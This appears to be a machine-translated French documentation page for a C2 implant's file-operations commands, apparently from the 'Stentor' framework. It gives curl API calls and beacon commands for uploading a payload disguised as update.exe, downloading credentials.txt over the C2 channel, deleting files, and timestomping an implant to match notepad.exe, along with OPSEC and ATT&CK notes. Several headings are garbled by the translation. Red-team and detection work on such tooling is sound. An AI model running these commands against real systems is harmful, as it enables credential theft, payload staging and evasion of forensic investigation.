Aller au contenu

Opérations sur les fichiers

Commandes pour l'interaction du système de fichiers sur l'hôte cible. Toutes les commandes d'opération de fichiers utilisent directement les API Win32 (pas de génération de cmd.exe) pour une empreinte OPSEC minimale, sauf indication contraire.

Le module fileops de l'implant gère les listes de répertoires, les lectures de fichiers, les copies, les déplacements, les suppressions, les téléchargements et l'énumération des lecteurs via des appels d'API Windows natifs tels que CreateFileW, FindFirstFile, CopyFileW et MoveFileExW.


Référence des commandes

Commande Syntaxe Description Impact de l'OPSEC
ls ls [path] Lister le contenu du répertoire Faible
drives drives Liste des lecteurs disponibles Faible
mkdir mkdir <path> Créer un répertoire Faible
cd cd <directory> Changer le répertoire de travail Faible
pwd pwd Imprimer le répertoire de travail Faible
upload upload <local_file> <remote_path> Télécharger le fichier vers la cible Moyen
download download <file> Télécharger le fichier depuis la cible Moyen
cp cp <src> <dst> Copier le fichier Faible
mv mv <src> <dst> Déplacer/renommer le fichier Faible
rm rm <path> Supprimer un fichier ou un répertoire Faible
cat cat <file> Lire le contenu du fichier Faible
timestomp timestomp <target> <reference> Copier les horodatages entre les fichiers Faible

Commandes de répertoire et de lecteur

ls

Répertoriez le contenu du répertoire en utilisant FindFirstFile / FindNextFile. Renvoie une sortie formatée avec la taille des fichiers et les horodatages de la dernière modification. Aucun processus enfant n'est généré.

Type de tâche : fileops (méthode : ls)

ls C:\Users\Public
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "ls C:\\Users\\Public"}'

Exemple de résultat :

 Directory of C:\Users\Public

01/15/2025 09:32    <DIR>    .
01/15/2025 09:32    <DIR>    ..
01/15/2025 09:32    <DIR>    Documents
12/03/2024 14:18    1048576  update.exe
01/10/2025 08:45    2304     readme.txt

Format de sortie

Chaque entrée affiche l'horodatage de la dernière modification, la taille (ou <DIR> pour les répertoires) et le nom du fichier. Le format correspond à la sortie native ls de Cobalt Strike.


lecteurs

Répertoriez les lecteurs logiques disponibles et leurs types à l'aide de GetLogicalDrives et GetDriveTypeW.

Type de tâche : fileops (méthode : drives)

drives
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "drives"}'

Exemple de résultat :

C:  Fixed
D:  CD-ROM
E:  Network
Z:  Removable

Types de lecteurs : Fixed, Removable, Network, CD-ROM, RAM Disk, Unknown.


mkdir

Créez un répertoire en utilisant CreateDirectory.

Type de tâche : fileops (méthode : mkdir)

mkdir C:\Users\Public\staging
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "mkdir C:\\Users\\Public\\staging"}'

cd

Changez le répertoire de travail du beacon. Il s'agit d'une opération au niveau du processus utilisant os.Chdir : elle affecte les commandes suivantes qui utilisent des chemins relatifs.

Type de tâche : Au niveau du processus (état du beacon)

cd C:\Users\Public
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "cd C:\\Users\\Public"}'

mot de passe

Imprimez le répertoire de travail actuel du beacon. Utilise os.Getwd au niveau du processus de beacon.

Type de tâche : Au niveau du processus (état du beacon)

pwd
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "pwd"}'

Commandes de transfert de fichiers

télécharger

Téléchargez un fichier depuis la machine de l'opérateur vers l'hôte cible. Le backend lit le fichier, l'encode en base64 et distribue une tâche fileops avec la méthode upload. L'implant décode le contenu et l'écrit en utilisant CreateFileW / WriteFile avec la disposition CREATE_ALWAYS.

Type de tâche : fileops (méthode : upload)

Point de terminaison dédié : POST /api/v1/cockpit/file/upload (formulaire en plusieurs parties)

upload /tmp/payload.exe C:\Users\Public\update.exe
curl -s -X POST "https://stentor.app/api/v1/cockpit/file/upload" \
  -H "Authorization: Bearer $TOKEN" \
  -F "beacon_id=$BEACON_ID" \
  -F "dest_path=C:\Users\Public\update.exe" \
  -F "file=@/tmp/payload.exe"

Téléchargement en morceaux : les fichiers de plus de 512 Ko sont automatiquement divisés en morceaux. Le premier morceau utilise la méthode de téléchargement fileops (crée le fichier) et les morceaux suivants utilisent PowerShell [IO.File]::OpenWrite pour ajouter des données. Une tâche de vérification finale calcule le hachage SHA256 sur la cible pour confirmer l'intégrité.

Accélération du transfert : L'intervalle de veille du beacon est temporairement réduit à 1 seconde pendant les transferts de fichiers pour un débit plus rapide, puis restauré à sa valeur d'origine une fois terminé.

OPSEC

  • Écrit un fichier sur le disque de la cible - sous réserve de l'analyse des fichiers AV/EDR
  • Les fichiers volumineux génèrent plusieurs allers-retours du canal C2 (visibles dans le trafic réseau)
  • Les téléchargements fragmentés utilisent PowerShell pour les opérations d'ajout, ce qui peut déclencher la journalisation des scripts
  • MITRE ATT&CK : T1105 (Transfert d'outil d'entrée)

télécharger

Téléchargez un fichier de l'hôte cible vers l'opérateur. L'implant lit le fichier en utilisant CreateFileW / ReadFile et renvoie le contenu en base64 sur le canal C2.

Type de tâche : fileops (méthode : download)

Point de terminaison dédié : POST /api/v1/cockpit/file/download

download C:\Users\Public\credentials.txt
curl -s -X POST "https://stentor.app/api/v1/cockpit/file/download" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "'$BEACON_ID'",
    "path": "C:\\Users\\Public\\credentials.txt"
  }'
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "download C:\\Users\\Public\\credentials.txt"}'

Récupération du contenu téléchargé : Une fois la tâche de téléchargement terminée, récupérez le fichier binaire à partir de :

curl -s "https://stentor.app/api/v1/cockpit/file/content/$TASK_ID" \
  -H "Authorization: Bearer $TOKEN" \
  -o credentials.txt

Le serveur décode les données base64, vérifie le hachage SHA256, conserve un enregistrement de téléchargement et sert le binaire brut avec Content-Disposition: attachment.

OPSEC

  • Les fichiers volumineux génèrent un trafic important sur le canal C2 (l'encodage base64 ajoute environ 33 % de surcharge)
  • Les lectures de fichiers via CreateFileW peuvent déclencher la télémétrie d'accès aux fichiers EDR
  • L'accélération du transfert réduit temporairement la veille du beacon à 1 seconde
  • MITRE ATT&CK : T1041 (Exfiltration sur canal C2)

Commandes de manipulation de fichiers

CP

Copiez un fichier en utilisant CopyFileW. La destination est écrasée si elle existe déjà (bFailIfExists = false).

Type de tâche : fileops (méthode : cp)

cp C:\Windows\System32\calc.exe C:\Users\Public\calc.exe
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "cp C:\\Windows\\System32\\calc.exe C:\\Users\\Public\\calc.exe"}'

mv

Déplacez ou renommez un fichier en utilisant MoveFileExW avec les indicateurs MOVEFILE_REPLACE_EXISTING | MOVEFILE_COPY_ALLOWED. La destination est écrasée si elle existe déjà.

Type de tâche : fileops (méthode : mv)

mv C:\Users\Public\old_name.exe C:\Users\Public\new_name.exe
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "mv C:\\Users\\Public\\old_name.exe C:\\Users\\Public\\new_name.exe"}'

rm

Supprimer un fichier ou un répertoire. Utilise DeleteFile pour les fichiers et RemoveDirectory pour les répertoires. Les répertoires non vides sont supprimés de manière récursive en utilisant FindFirstFile / FindNextFile pour énumérer et supprimer tout le contenu.

Type de tâche : fileops (méthode : rm)

rm C:\Users\Public\staging
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "rm C:\\Users\\Public\\staging"}'

OPSEC

  • Les suppressions de fichiers sont enregistrées par les produits EDR qui surveillent l'activité du système de fichiers.
  • La suppression récursive de répertoire génère plusieurs appels DeleteFile / RemoveDirectory
  • Les fichiers supprimés peuvent être récupérables à partir du journal NTFS ou des instantanés VSS

Commandes d'inspection de fichiers

chat

Lisez le contenu du fichier et renvoyez-le sous forme de chaîne. Ouvre le fichier via CreateFileW / ReadFile et renvoie le contenu brut (non codé en base64, contrairement à download).

Type de tâche : fileops (méthode : cat)

cat C:\Users\Public\config.txt
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "cat C:\\Users\\Public\\config.txt"}'

chat contre téléchargement

Utilisez cat pour une inspection rapide des petits fichiers texte : le contenu apparaît directement dans la console de beacon. Utilisez download pour les fichiers binaires ou lorsque vous avez besoin que le fichier soit enregistré localement, car il préserve les octets exacts et vérifie l'intégrité via SHA256.


Anti-criminalistique

horodatage

Copiez les horodatages des fichiers d'un fichier de référence vers un fichier cible à l'aide de SetFileTime. Cela modifie les horodatages de l'attribut $STANDARD_INFORMATION (créé, modifié, consulté) sur la cible pour correspondre au fichier de référence.

Type de tâche : evasion (méthode : timestomp)

timestomp C:\Users\Public\implant.exe C:\Windows\System32\notepad.exe
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "timestomp C:\\Users\\Public\\implant.exe C:\\Windows\\System32\\notepad.exe"}'

Le premier argument est le fichier cible (horodatages à modifier) et le second est le fichier référence (horodatages à partir duquel copier). Après l'exécution, les heures de création, de modification et d'accès du fichier cible correspondent à celles du fichier de référence.

OPSEC

SetFileTime modifie uniquement l'attribut $STANDARD_INFORMATION (SI) dans NTFS. Les horodatages de l'attribut $FILE_NAME (FN) sont conservés par le noyau et ne peuvent pas être modifiés via les API en mode utilisateur. Les outils médico-légaux tels que MFTECmd peuvent détecter le timestomping en comparant les horodatages SI et FN : une inadéquation est un indicateur puissant de falsification.

- **MITRE ATT&CK :** T1070.006 (Suppression de l'indicateur : Timestomp)
- **Détection :** Incompatibilité d'horodatage SI et FN dans l'analyse MFT, entrées de journal NTFS ($UsnJrnl)

API de navigation dans les fichiers

Le point de terminaison du navigateur de fichiers dédié fournit des listes de répertoires structurées pour le panneau du navigateur de fichiers de l'interface utilisateur.

Point de terminaison : POST /api/v1/cockpit/file/browse

curl -s -X POST "https://stentor.app/api/v1/cockpit/file/browse" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "'$BEACON_ID'",
    "path": "C:\\"
  }'

Cela distribue une tâche collect avec la méthode dirlist au beacon, qui renvoie des données de répertoire structurées pour que l'interface utilisateur les restitue sous forme d'arborescence de fichiers.


Gestion des transferts

Transferts actifs

Répertoriez tous les transferts de fichiers en cours, éventuellement filtrés par beacon :

curl -s "https://stentor.app/api/v1/cockpit/file/active?beacon_id=$BEACON_ID" \
  -H "Authorization: Bearer $TOKEN"

Annuler les téléchargements

Annulez les téléchargements en cours correspondant à un modèle générique :

cancel *.exe
curl -s -X POST "https://stentor.app/api/v1/cockpit/file/cancel" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "'$BEACON_ID'",
    "pattern": "*.exe"
  }'

Référence de l'API Win32

Toutes les opérations sur les fichiers utilisent les API Win32 directement via le module fileops de l'implant. Aucun processus cmd.exe ou PowerShell n'est généré (à l'exception des opérations d'ajout de téléchargement fragmenté).

Commande API Win32 ATTAQUE À ONGLET&CK
ls FindFirstFile / FindNextFile T1083 (Découverte de fichiers et de répertoires)
drives GetLogicalDrives / GetDriveTypeW T1083 (Découverte de fichiers et de répertoires)
mkdir CreateDirectory --
cd / pwd os.Chdir / os.Getwd (Aller sur stdlib) --
upload CreateFileW / WriteFile T1105 (Transfert d'outil d'entrée)
download CreateFileW / ReadFile T1041 (Exfiltration sur canal C2)
cp CopyFileW --
mv MoveFileExW --
rm DeleteFile / RemoveDirectory T1070.004 (Suppression d'indicateur : suppression de fichier)
cat CreateFileW / ReadFile T1005 (Données du système local)
timestomp SetFileTime T1070.006 (Suppression d'indicateur : Timestomp)